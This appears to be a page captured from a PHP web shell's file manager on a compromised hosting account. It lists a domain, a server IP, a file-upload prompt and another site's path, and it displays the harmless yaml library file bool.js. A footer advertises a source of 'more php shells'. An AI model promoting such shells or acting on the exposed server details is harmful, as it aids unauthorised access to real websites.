Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/sayarainternationaltours.in/node_modules/yaml/dist/schema/core/
Dosya Yükle :
Current File : /home/u866425823/domains/sayarainternationaltours.in/node_modules/yaml/dist/schema/core/bool.js

'use strict';

var Scalar = require('../../nodes/Scalar.js');

const boolTag = {
    identify: value => typeof value === 'boolean',
    default: true,
    tag: 'tag:yaml.org,2002:bool',
    test: /^(?:[Tt]rue|TRUE|[Ff]alse|FALSE)$/,
    resolve: str => new Scalar.Scalar(str[0] === 't' || str[0] === 'T'),
    stringify({ source, value }, ctx) {
        if (source && boolTag.test.test(source)) {
            const sv = source[0] === 't' || source[0] === 'T';
            if (value === sv)
                return source;
        }
        return value ? ctx.options.trueStr : ctx.options.falseStr;
    }
};

exports.boolTag = boolTag;

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.